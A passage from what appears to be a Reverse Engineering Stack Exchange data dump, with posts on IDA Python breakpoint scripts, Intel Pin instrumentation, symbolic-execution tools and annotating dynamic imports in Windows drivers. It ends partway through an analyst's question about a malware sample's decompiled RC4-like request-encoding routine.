  <row Id="13635" PostTypeId="1" CreationDate="2016-10-02T16:10:28.643" Score="3" ViewCount="1456" Body="&lt;p&gt;I have the following IDA Python script. It is intended to break on first instruction of imported function when call comes from the module of interest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;list = []&#xA;&#xA;def set_cb(ea, name, ord):&#xA;    global list&#xA;    actual_ea = Dword(ea)&#xA;    AddBpt(actual_ea)&#xA;    list.append(actual_ea)&#xA;        return True&#xA;&#xA;def set_breakpoints():&#xA;    global list&#xA;    del list[:]&#xA;    nimps = idaapi.get_import_module_qty()&#xA;    for i in xrange(0, nimps):&#xA;        idaapi.enum_import_names(i, set_cb)&#xA;&#xA;def rem_cb(ea, name, ord):&#xA;    actual_ea = Dword(ea)&#xA;    DelBpt(actual_ea)&#xA;        return True&#xA;&#xA;def rem_breakpoints():&#xA;    global list&#xA;    del list[:]&#xA;    nimps = idaapi.get_import_module_qty()&#xA;    for i in xrange(0, nimps):&#xA;        idaapi.enum_import_names(i, rem_cb)&#xA;&#xA;def step_cb():&#xA;    global list&#xA;    minea = MinEA()&#xA;    maxea = MaxEA()&#xA;    while GetDebuggerEvent(WFNE_SUSP | WFNE_CONT, -1) &amp;gt; 0:&#xA;        r_eip = GetRegValue(&quot;EIP&quot;)&#xA;        if r_eip in list:&#xA;            r_esp = GetRegValue(&quot;ESP&quot;)&#xA;            caller = Dword(r_esp)&#xA;            if (caller &amp;gt;= minea) and (caller &amp;lt; maxea):&#xA;                break&#xA;        else:&#xA;            break&#xA;&#xA;idaapi.add_hotkey(&quot;F3&quot;, set_breakpoints)&#xA;idaapi.add_hotkey(&quot;F5&quot;, rem_breakpoints)&#xA;idaapi.add_hotkey(&quot;F10&quot;, step_cb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I debug dll and I need to break only on win api calls that are made directly from this dll, not from C runtime library. However &lt;code&gt;MinEA&lt;/code&gt; and &lt;code&gt;MaxEA&lt;/code&gt; functions return minimum and maximum addresses used in entire program. What I need is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ea = GetModuleByName(&quot;some.dll&quot;)&#xA;minea = ModuleStart(ea)&#xA;maxea = ModuleEnd(ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you know such api? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17639" LastActivityDate="2017-02-01T14:38:55.663" Title="IDA python, get address range of specific dll" Tags="|ida|idapython|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13636" PostTypeId="2" ParentId="13633" CreationDate="2016-10-02T18:43:50.523" Score="3" Body="&lt;p&gt;You should give the newer &lt;a href=&quot;https://github.com/theos/theos&quot; rel=&quot;nofollow&quot;&gt;theos/theos&lt;/a&gt; a try, perhaps it has fixed this bug already.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;*.xmi&lt;/code&gt;/&lt;code&gt;*.xi&lt;/code&gt; support was &lt;a href=&quot;https://www.reddit.com/r/jailbreakdevelopers/comments/3ujcpv/issue_with_splitting_project_up_across_multiple/&quot; rel=&quot;nofollow&quot;&gt;broken&lt;/a&gt; (seems still is), and the lead developer &lt;a href=&quot;https://github.com/theos/theos/issues/141#issuecomment-203125047&quot; rel=&quot;nofollow&quot;&gt;discourages its usage&lt;/a&gt;, and including a source file instead of header file &lt;a href=&quot;https://www.reddit.com/r/jailbreakdevelopers/comments/4892ez/errors_in_using_new_theostheos_for_older_tweak/&quot; rel=&quot;nofollow&quot;&gt;is strange anyway&lt;/a&gt;. If you just want to separate the hooks into different files, simply put all the &lt;code&gt;*.xm&lt;/code&gt;/&lt;code&gt;*.x&lt;/code&gt; and into the _FILES setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tweakname_FILES = first.x second.x third.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16021" LastActivityDate="2016-10-02T18:43:50.523" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13639" PostTypeId="1" AcceptedAnswerId="13641" CreationDate="2016-10-03T17:08:25.227" Score="0" ViewCount="159" Body="&lt;p&gt;I'm trying to generate a log of all identified symbols in a binary file. The application i'm trying to inspect is busybox. I've created a Pin Tool that successfully captures symbols (no demangling) and place them underneath the module they belong to, and worked just fine for many binaries except busybox. For example this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pin -t &amp;lt;pin-tool-shared-object&amp;gt; busybox -ls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Was able to generate only the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MODULE busybox:&#xA;.init&#xA;.plt&#xA;.text&#xA;&#xA;# eof&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not finding any of the desired symbols. Unsure of where the problem was, I tried many variations of the &lt;code&gt;nm&lt;/code&gt; command. The output was always the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nm -an /bin/busybox | c++filt&#xA;nm: /bin/busybox: no symbol&#xA;$ nm -an -D /bin/busybox | c++filt&#xA;nm: /bin/busybox: no symbol&#xA;$ nm -D /bin/busybox | c++filt&#xA;nm: /bin/busybox: no symbol&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is happening here and how can I get a trace of the called symbols in this case (or at least a static &lt;code&gt;nm&lt;/code&gt;-like output of these symbols).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full Pin tool code is found &lt;a href=&quot;https://github.com/gfreivasc/PinPlays/blob/master/callgraph.cpp&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, as it might be the problem too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the tool in verbose mode &lt;code&gt;-v&lt;/code&gt;, that generates the sequential call graph, gives me traces like these when in busybox basic blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x404970 | CALL .plt&#xA;0x42d41f | RET&#xA;0x404970 | CALL .plt&#xA;0x42d41f | RET&#xA;0x43bcd1 | CALL .text&#xA;0x4053fb | CALL .text&#xA;0x4040d0 | CALL .plt&#xA;0x405416 | RET&#xA;0x43bcf6 | RET&#xA;0x404740 | CALL .plt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is nowhere near helpful. Apparently there are no exported symbols in this module.&lt;/p&gt;&#xA;" OwnerUserId="16761" LastEditorUserId="16761" LastEditDate="2016-10-03T18:03:02.233" LastActivityDate="2016-10-03T18:04:52.223" Title="Intel PIN and nm unable to capture binary symbols" Tags="|linux|symbols|intel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13640" PostTypeId="2" ParentId="13635" CreationDate="2016-10-03T17:48:17.473" Score="1" Body="&lt;p&gt;There's no &lt;code&gt;GetModuleByName&lt;/code&gt; in IDA, instead, using the &lt;code&gt;EIP&lt;/code&gt; register value (which you already fetch) you could use &lt;code&gt;SegStart&lt;/code&gt; and &lt;code&gt;SegEnd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code should look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def step_cb():&#xA;    global list&#xA;    while GetDebuggerEvent(WFNE_SUSP | WFNE_CONT, -1) &amp;gt; 0:&#xA;        r_eip = GetRegValue(&quot;EIP&quot;)&#xA;        if r_eip in list:&#xA;            r_esp = GetRegValue(&quot;ESP&quot;)&#xA;            caller = Dword(r_esp)&#xA;            if (caller &amp;gt;= SegStart(r_eip)) and (caller &amp;lt; SegEnd(r_eip)):&#xA;                break&#xA;        else:&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-03T17:48:17.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13641" PostTypeId="2" ParentId="13639" CreationDate="2016-10-03T18:04:52.223" Score="0" Body="&lt;p&gt;Sounds like the binary has ben stripped (had its symbol table removed). Since &lt;code&gt;busybox&lt;/code&gt; is usually compiled statically to not have any external dependencies and be entirely self-contained, it does not need even dynamic symbols to function. You'll just have to figure out how to achieve your goal without symbols.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-03T18:04:52.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13642" PostTypeId="2" ParentId="13635" CreationDate="2016-10-04T11:58:53.463" Score="0" Body="&lt;p&gt;The final version of script in case someone else needs it. What you need to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) set breakpoint and wait until debugger hits it&#xA;2) load script (file -&amp;gt; script file)&#xA;3) open breakpoints window (to see whether breakpoints were added)&#xA;4) press &quot;F3&quot;, breakpoints will be added automatically (you can also add another breakpoints by hand)&#xA;5) press &quot;F10&quot;, debugger will stop on breakpoints added by hand or on API calls that were made directly from module being examined (calls from library functions are skipped)&#xA;6) you can examine stack now and follow pushed EIP in disassembly view&#xA;7) when suspended you can delete breakpoints that were added by script (with &quot;F5&quot;), add them again, and so on (it is useful when you want to quickly disable breakpoints to follow usual execution flow)&#xA;8) also notice the condition in 'set_cb' callback (you can filter out some well-known functions)&#xA;&#xA;list = []   #global list to hold EIP values&#xA;&#xA;def set_cb(ea, name, ord):&#xA;    global list&#xA;    if (name != 'lstrcpynA') and (name != 'lstrcmpA') and (name != 'lstrcpyA') and (name != 'lstrcatA') and (name != 'lstrcmpiA') and (name != 'lstrlenA') and (name != 'wsprintfA') and (name != 'DefWindowProcA') and (name != 'PeekMessageA') and (name != 'TranslateMessage') and (name != 'DispatchMessageA') and (name != 'IsDBCSLeadByte') and (name != 'CharNextA'):&#xA;        actual_ea = Dword(ea)&#xA;        AddBpt(actual_ea)&#xA;        list.append(actual_ea)&#xA;        return True&#xA;&#xA;def set_breakpoints():&#xA;    global list&#xA;    del list[:]&#xA;    nimps = idaapi.get_import_module_qty()&#xA;    for i in xrange(0, nimps):&#xA;        idaapi.enum_import_names(i, set_cb)&#xA;&#xA;def rem_cb(ea, name, ord):&#xA;    actual_ea = Dword(ea)&#xA;    DelBpt(actual_ea)&#xA;        return True&#xA;&#xA;def rem_breakpoints():&#xA;    global list&#xA;    del list[:]&#xA;    nimps = idaapi.get_import_module_qty()&#xA;    for i in xrange(0, nimps):&#xA;        idaapi.enum_import_names(i, rem_cb)&#xA;&#xA;def step_cb():&#xA;    global list&#xA;    minea = idaapi.get_imagebase()&#xA;    maxea = minea + 0x98000     #image size retrieved by WIN API (from C++ program)&#xA;    while GetDebuggerEvent(WFNE_SUSP | WFNE_CONT, -1) &amp;gt; 0:&#xA;        r_eip = GetRegValue(&quot;EIP&quot;)&#xA;        if r_eip in list:&#xA;            r_esp = GetRegValue(&quot;ESP&quot;)&#xA;            caller = Dword(r_esp)&#xA;            if (caller &amp;gt;= minea) and (caller &amp;lt; maxea):&#xA;                if not(GetFunctionFlags(caller) &amp;amp; FUNC_LIB):&#xA;                    break&#xA;        else:&#xA;            break&#xA;&#xA;idaapi.add_hotkey(&quot;F3&quot;, set_breakpoints)&#xA;idaapi.add_hotkey(&quot;F5&quot;, rem_breakpoints)&#xA;idaapi.add_hotkey(&quot;F10&quot;, step_cb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17649" LastActivityDate="2016-10-04T11:58:53.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13643" PostTypeId="1" CreationDate="2016-10-04T14:00:11.623" Score="1" ViewCount="2128" Body="&lt;p&gt;I modified the pinatrace pintool example and managed to log all values of the &amp;quot;regular&amp;quot; registers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA; ...&#xA; // Instrument REGISTER writes using a predicated call, i.e.&#xA; // the call happens iff the register store will be actually executed&#xA; UINT32 maxNumWRegs;&#xA; maxNumWRegs = INS_MaxNumWRegs(ins);&#xA; for (UINT32 i=0; i&amp;lt;maxNumWRegs; i++)&#xA; {&#xA;     // --&amp;gt; BEFORE&#xA;     INS_InsertPredicatedCall(&#xA;        ins, IPOINT_BEFORE, (AFUNPTR)SaveRegWrite,&#xA;        IARG_INST_PTR,&#xA;        IARG_UINT32,&#xA;        INS_RegW(ins, i),&#xA;        IARG_END);&#xA;    &#xA;    if (INS_HasFallThrough(ins))&#xA;    {&#xA;        // --&amp;gt; AFTER&#xA;        INS_InsertCall(&#xA;            ins, IPOINT_AFTER, (AFUNPTR)LogRegWrite,&#xA;            IARG_INST_PTR,&#xA;            IARG_UINT32,&#xA;            INS_RegW(ins, i),&#xA;            IARG_CONTEXT, // to access the register value&#xA;            IARG_END);&#xA;    }&#xA;    if (INS_IsBranchOrCall(ins))&#xA;    {&#xA;        INS_InsertCall(&#xA;            ins, IPOINT_TAKEN_BRANCH, (AFUNPTR)LogRegWrite,&#xA;            IARG_INST_PTR,&#xA;            IARG_UINT32,&#xA;            INS_RegW(ins, i),&#xA;            IARG_CONTEXT, // to access the register value&#xA;            IARG_END);&#xA;    }        &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://beta.groups.yahoo.com/neo/groups/pinheads/conversations/topics/5444&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; that&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can't actually be sure that fs is not zero by looking at the EA, because the value in fs is an index into the table of segment descriptors, not a pointer in its own right... The pointer value is taken from the segment descriptor, but is mirrored in the Pin virtual register REG_SEG_FS_BASE.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I am not sure how to get the value using this virtual register.&lt;/p&gt;&#xA;&lt;p&gt;Related info from the official manual:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When IARG_CONTEXT is used in probe mode,it is impossible to get certain register values correct. The values in these registers are meaningless when IARG_CONTEXT is used in probe mode:&#xA;REG_SEG_GS_BASE&#xA;REG_SEG_FS_BASE&#xA;REG_INST_G0 - REG_INST_G19&#xA;Using IARG_RETURN_REGS and IARG_REG_REFERENCE is not supported in Probe mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How do I print the value of the fs and gs regsiters after every instruction execution?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2021-04-01T15:00:08.683" Title="Intel PIN: How to log the value of the fs and gs registers at every instruction?" Tags="|x86|pintool|register|segmentation|amd64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13645" PostTypeId="1" CreationDate="2016-10-05T20:14:07.987" Score="1" ViewCount="163" Body="&lt;p&gt;Theoretically it should be possible for a binary analysis tool such as IDA to generate an input that will trigger a specific branch patch. So for example an executable that takes in a command line parameter, analyses the input and ventures down a specific branch path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of any tools/plugins that will generate me an input necessary to venture down a specific path? Inputs may be from a command line argument, network IO (I guess this is the most difficult, as it may require lots of protocol handshaking before interesting communication takes place), DLL export call parameters, file on disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does seem like a difficult problem as lots of graph traversing would be necessary, but totally possible for an automated tool?&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2016-10-06T07:53:42.393" Title="Automated Branch Input Generation" Tags="|ida|disassembly|static-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13646" PostTypeId="1" CreationDate="2016-10-05T22:04:49.923" Score="2" ViewCount="587" Body="&lt;p&gt;I've got an x64 Windows driver where a lot of functions are dynamically imported using &lt;code&gt;MmGetSystemRoutineAddress&lt;/code&gt;. The function takes a &lt;code&gt;UNICODE_STRING&lt;/code&gt; as a parameter to tell it what function to find and you can often see this being initialised just before the call which is how I'm checking what it's importing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to automatically mark what this function is importing rather than having to manually go to each call and check? I imagine using IDC or IDAPython would be the best solution.&lt;/p&gt;&#xA;" OwnerUserId="13379" LastActivityDate="2016-10-09T19:38:35.277" Title="Using IDA to automatically annote dynamically imported functions in a driver" Tags="|ida|windows|idapython|driver|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13647" PostTypeId="2" ParentId="13646" CreationDate="2016-10-05T22:04:49.923" Score="2" Body="&lt;p&gt;I've written an IDAPython script that searches for a string in the bytes preceding &lt;code&gt;MmGetSystemRoutineAddress&lt;/code&gt; and &lt;code&gt;FltGetRoutineAddress&lt;/code&gt; calls and then marks that call with the function being imported. It worked on the x64 and x86 drivers I had to hand but I've left my commented out debug prints in just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the disassembly after running the script:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gG3Er.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gG3Er.jpg&quot; alt=&quot;output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Getting string xrefs&#xA;Trying to find MmGetSystemRoutineAddress...&#xA;Found MmGetSystemRoutineAddress @ 1C00092E0&#xA;Found 7 xrefs to MmGetSystemRoutineAddress&#xA;&#xA;MmGetSystemRoutineAddress called @ 1C000B022 in func sub_1C000B000&#xA;    1C000B00D  lea     rdx, aPsgetversion; &quot;PsGetVersion&quot;&#xA;  Found an Xref to a string in preceding 50 bytes&#xA;  Searching for use of returned func pointer...&#xA;    1C000B022  call    cs:MmGetSystemRoutineAddress; PsGetVersion  - auto added&#xA;    1C000B028  lea     rdx, aWmitracemessag; &quot;WmiTraceMessage&quot;&#xA;    1C000B02F  mov     cs:PsGetVersion, rax&#xA;  Found mov to global data&#xA;  Found the pointer being stored! Marking it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's definitely improvements that could be made:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure that the dynamic importing function xref is an actual call&lt;/li&gt;&#xA;&lt;li&gt;&lt;strike&gt;The function pointer result is often put into a global pointer (i.e. &lt;code&gt;mov dword_444E0, eax&lt;/code&gt;), having this pointer automatically named would be very useful.&lt;/strike&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strike&gt;The other common use case is seeing it being called straight after (i.e. &lt;code&gt;call eax&lt;/code&gt;) so having this call marked would be nice.&lt;/strike&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'll have a look at making these improvements and updating when I can.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Using Sark would have made the line iteration a bit nicer but I wanted &#xA;#something I could use anywhere without any external dependencies&#xA;&#xA;import idc&#xA;import idautils&#xA;import idaapi&#xA;&#xA;'''&#xA;Returns - String xrefs. Dict of  xref_location[tuple of (str address, str value)]&#xA;'''&#xA;def get_string_xrefs():&#xA;    #Get the strings so we can see what might have been passed in&#xA;    print &quot;Getting string xrefs&quot;&#xA;    sc = idautils.Strings(default_setup = False)&#xA;    # we want C &amp;amp; Unicode strings, and *only* existing strings.&#xA;    sc.setup(strtypes=(Strings.STR_C | Strings.STR_UNICODE), &#xA;            ignore_instructions = True, &#xA;            display_only_existing_strings = True)&#xA;&#xA;    #Make a list of all string locations&#xA;    string_locs = []&#xA;    for s in sc:&#xA;        string_locs.append((s.ea, str(s)))&#xA;        #print &quot;%x: len=%d type=%d -&amp;gt; '%s'&quot; % (s.ea, s.length, s.type, str(s))&#xA;&#xA;    #Make a dict of all places strings are Xrefs&#xA;    string_xrefs = {}&#xA;    for loc in string_locs:&#xA;        #print &quot;%08X  %s&quot; % (loc[0], loc[1])&#xA;        for xref in idautils.XrefsTo(loc[0]):&#xA;            #print &quot;Xref @ %08X&quot; % xref.frm&#xA;            string_xrefs[xref.frm] = loc&#xA;&#xA;    return string_xrefs&#xA;&#xA;'''&#xA;dynam_loading_func_name - The function used to dynamically load the functions&#xA;string_xrefs            - String xrefs. Dict of  xref_location[tuple of (str address, str value)]&#xA;'''&#xA;def markup_dynamically_loaded_funcs(dynam_loading_func_name, string_xrefs, num_search_bytes_string = 50, num_search_bytes_use = 30):&#xA;    print &quot;Trying to find %s...&quot; % dynam_loading_func_name&#xA;&#xA;    getsys_addr = idc.LocByName(dynam_loading_func_name)&#xA;    print &quot;Found %s @ %08X&quot; % (dynam_loading_func_name, getsys_addr)&#xA;&#xA;    num_xrefs = sum(1 for i in idautils.CodeRefsTo(getsys_addr, 0))&#xA;    print &quot;Found %d xrefs to %s&quot; % (num_xrefs, dynam_loading_func_name)&#xA;&#xA;    #Iterate through each Xref to dynamic loading func and see if a string is used in the preceding instructions...&#xA;    for dynam_xref in idautils.CodeRefsTo(getsys_addr, 0):&#xA;        print &quot;\n%s called @ %08X in func %s&quot; % (dynam_loading_func_name, dynam_xref, idc.GetFunctionName(dynam_xref))&#xA;&#xA;        #Start at line above dynamic loading func call&#xA;        new_ea = idaapi.get_item_head(dynam_xref - 1)&#xA;&#xA;        #Continue until we've gone back 50 bytes or found a string&#xA;        while new_ea &amp;gt; dynam_xref - num_search_bytes_string:        &#xA;            #print &quot;    %08X  %s&quot; % (new_ea, idc.GetDisasm(new_ea))&#xA;&#xA;            #Go to the line above&#xA;            new_ea = idaapi.get_item_head(new_ea-1)&#xA;&#xA;            #Check if the address is an xref to a string&#xA;            if new_ea in string_xrefs:&#xA;                print &quot;    %08X  %s&quot; % (new_ea, idc.GetDisasm(new_ea))&#xA;                print &quot;  Found an Xref to a string in preceding %d bytes&quot; % num_search_bytes_string&#xA;&#xA;                #Make the comment to add&#xA;                imported_func_name = string_xrefs[new_ea][1]&#xA;                comment = imported_func_name + &quot;  - auto added&quot;&#xA;&#xA;                #Add the comment to the dynamic loading func call&#xA;                idc.MakeComm(dynam_xref, comment)&#xA;&#xA;                print &quot;  Searching for use of returned func pointer...&quot;&#xA;&#xA;                #Start at line past dynamic loading func, go forward one at a time (up to 30 bytes) till we find either:&#xA;                #  -  a call to rax or eax&#xA;                #  -  a mov of rax or eax into a global pointer&#xA;                ptr_search_addr = dynam_xref&#xA;                while ptr_search_addr &amp;lt; dynam_xref + num_search_bytes_use:&#xA;                    print &quot;    %08X  %s&quot; % (ptr_search_addr, idc.GetDisasm(ptr_search_addr))&#xA;                    ptr_search_addr += idaapi.get_item_size(ptr_search_addr)&#xA;&#xA;                    #Check for 'call rax' or 'call eax'&#xA;                    if idc.GetMnem(ptr_search_addr) == &quot;call&quot; and idc.GetOpnd(ptr_search_addr,0) in [&quot;rax&quot;, &quot;eax&quot;]:&#xA;                        print &quot;    %08X  %s&quot; % (ptr_search_addr, idc.GetDisasm(ptr_search_addr))&#xA;                        print &quot;  Found a call! Marking it&quot;&#xA;&#xA;                        ##Comment it and stop checking for this string&#xA;                        idc.MakeComm(ptr_search_addr, comment)&#xA;                        break&#xA;&#xA;                    data_sec_start = idaapi.get_segm_by_name(&quot;.data&quot;).startEA&#xA;                    data_sec_end = idaapi.get_segm_by_name(&quot;.data&quot;).endEA&#xA;&#xA;                    #Need to check for mov into global data, avoid situations like:&#xA;                    #call MmGetSystemRoutineAddress&#xA;                    #mov ecx, eax&#xA;                    #mov dword_12345, ecx&#xA;                    #Check for first 'mov' instruction and what it's moving to is in global data&#xA;                    if idc.GetMnem(ptr_search_addr) == &quot;mov&quot; and \&#xA;                    data_sec_start &amp;lt; GetOperandValue(ptr_search_addr, 0) &amp;lt; data_sec_end:&#xA;                        print &quot;  Found mov to global data&quot;&#xA;                        #print &quot;    %08X&quot; % GetOperandValue(ptr_search_addr, 0)&#xA;&#xA;                        print &quot;  Found the pointer being stored! Marking it&quot;&#xA;&#xA;                        ptr_addr = GetOperandValue(ptr_search_addr, 0)&#xA;&#xA;                        #TODO: Validate address is in right section&#xA;&#xA;                        #Change the name, can't reuse names so keep trying till it works&#xA;                        count = 1&#xA;                        new_name = imported_func_name&#xA;                        while not idc.MakeNameEx(ptr_addr, new_name, SN_NOWARN):&#xA;                            new_name = imported_func_name + &quot;_&quot; + str(count)&#xA;                            print &quot;%s is in use, using %s instead&quot; % (imported_func_name, new_name)&#xA;                            count += 1&#xA;                        break&#xA;                else:&#xA;                    print &quot;**************************************************&quot;&#xA;                    print &quot;*****                                        *****&quot;&#xA;                    print &quot;***** Didn't find a call or pointer storage! *****&quot;&#xA;                    print &quot;*****                                        *****&quot;&#xA;                    print &quot;**************************************************&quot;&#xA;&#xA;&#xA;                #End the search for the string&#xA;                break&#xA;&#xA;def main():&#xA;    string_xrefs = get_string_xrefs()&#xA;&#xA;    markup_dynamically_loaded_funcs(&quot;MmGetSystemRoutineAddress&quot;, string_xrefs)&#xA;    print &quot;\n\n\n\n\n\n\n\n\n\n\n\n\n&quot;&#xA;    markup_dynamically_loaded_funcs(&quot;FltGetRoutineAddress&quot;, string_xrefs)&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13379" LastEditorUserId="13379" LastEditDate="2016-10-09T19:38:35.277" LastActivityDate="2016-10-09T19:38:35.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13648" PostTypeId="2" ParentId="8929" CreationDate="2016-10-06T04:49:39.380" Score="1" Body="&lt;p&gt;Set a breakpoint on the beginning of that function, hit that breakpoint, and step through to see what happens. That's the most cut and dry answer there is really.&lt;/p&gt;&#xA;" OwnerUserId="17662" LastActivityDate="2016-10-06T04:49:39.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13649" PostTypeId="2" ParentId="13645" CreationDate="2016-10-06T05:13:09.723" Score="3" Body="&lt;p&gt;there are some projects working on it. The most prominent one may be &lt;strong&gt;angr&lt;/strong&gt;. Please note that each of this projects (as of now) is not to be used in production, since they are mostly unstable, work only for corner cases (most SMT implementation) or take ages to return anything (dynamic symbolic execution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, the use case you describe is not awfully trivial. Finding these inputs requires data flow analysis, which relies on semantic architecture information and a correctly recovered Control Flow Graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A program doing this needs to support most calling conventions and know the registers accessed by library functions (or analyse them as well). Graph traversal is not the issue here, but there are problems with handling loops etc.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2016-10-06T07:47:32.117" LastActivityDate="2016-10-06T07:47:32.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13650" PostTypeId="2" ParentId="13645" CreationDate="2016-10-06T07:53:42.393" Score="2" Body="&lt;p&gt;Check Out &lt;strong&gt;Ponce&lt;/strong&gt;, winner of this year's Hex-Rays plugin context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://research.trust.salesforce.com/Introducing-Ponce-One-click-symbolic-execution/&quot; rel=&quot;nofollow&quot;&gt;http://research.trust.salesforce.com/Introducing-Ponce-One-click-symbolic-execution/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not quite &quot;one-click&quot; (you need to at least mark the inputs manually) but it does seem to work quite well. It uses &lt;a href=&quot;https://github.com/JonathanSalwan/Triton&quot; rel=&quot;nofollow&quot;&gt;Triton&lt;/a&gt; (with Z3) to do the heavy lifting.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-06T07:53:42.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13651" PostTypeId="1" AcceptedAnswerId="13673" CreationDate="2016-10-06T09:31:53.693" Score="1" ViewCount="142" Body="&lt;p&gt;I am trying to understand an algorithm from a malware I found. This algorithm encodes http request to C&amp;amp;C. The decompiled version is taken from IDA. There are some comments I wrote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is: I dont see the malware sends result from QueryPerformanceCounter() to its C&amp;amp;C. So without this value how C&amp;amp;C decodes this request?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl sub_A2AA0(int a1, unsigned int a2, int a3, _BYTE *a4, int a5)&#xA;{&#xA;// a5: length of buffer&#xA;// a4: buffer to encode&#xA;// a3: always 0&#xA;// a2: always 4&#xA;// a1: addr contains result from QueryPerformanceCounter()&#xA;&#xA;  signed int v5; // eax@1&#xA;  char v6; // si@3&#xA;  unsigned int v7; // eax@3&#xA;  signed int v8; // edi@3&#xA;  char v9; // cl@4&#xA;  int v10; // edx@4&#xA;  int v11; // edi@7&#xA;  int v12; // esi@7&#xA;  int result; // eax@7&#xA;  char v14; // cl@8&#xA;  int v15; // ebp@9&#xA;  _BYTE *i; // edi@9&#xA;  char v17; // cl@10&#xA;  char v18[256]; // [sp+0h] [bp-100h]@2&#xA;&#xA; // buffer with 0 to 255&#xA;  v5 = 0;&#xA;  do&#xA;  {&#xA;    v18[v5] = v5;&#xA;    ++v5;&#xA;  }&#xA;  while ( v5 &amp;lt; 256 );&#xA;&#xA;&#xA;  // exchange content of a random index starting with index 0&#xA;  v6 = 0;&#xA;  v7 = 0;&#xA;  v8 = 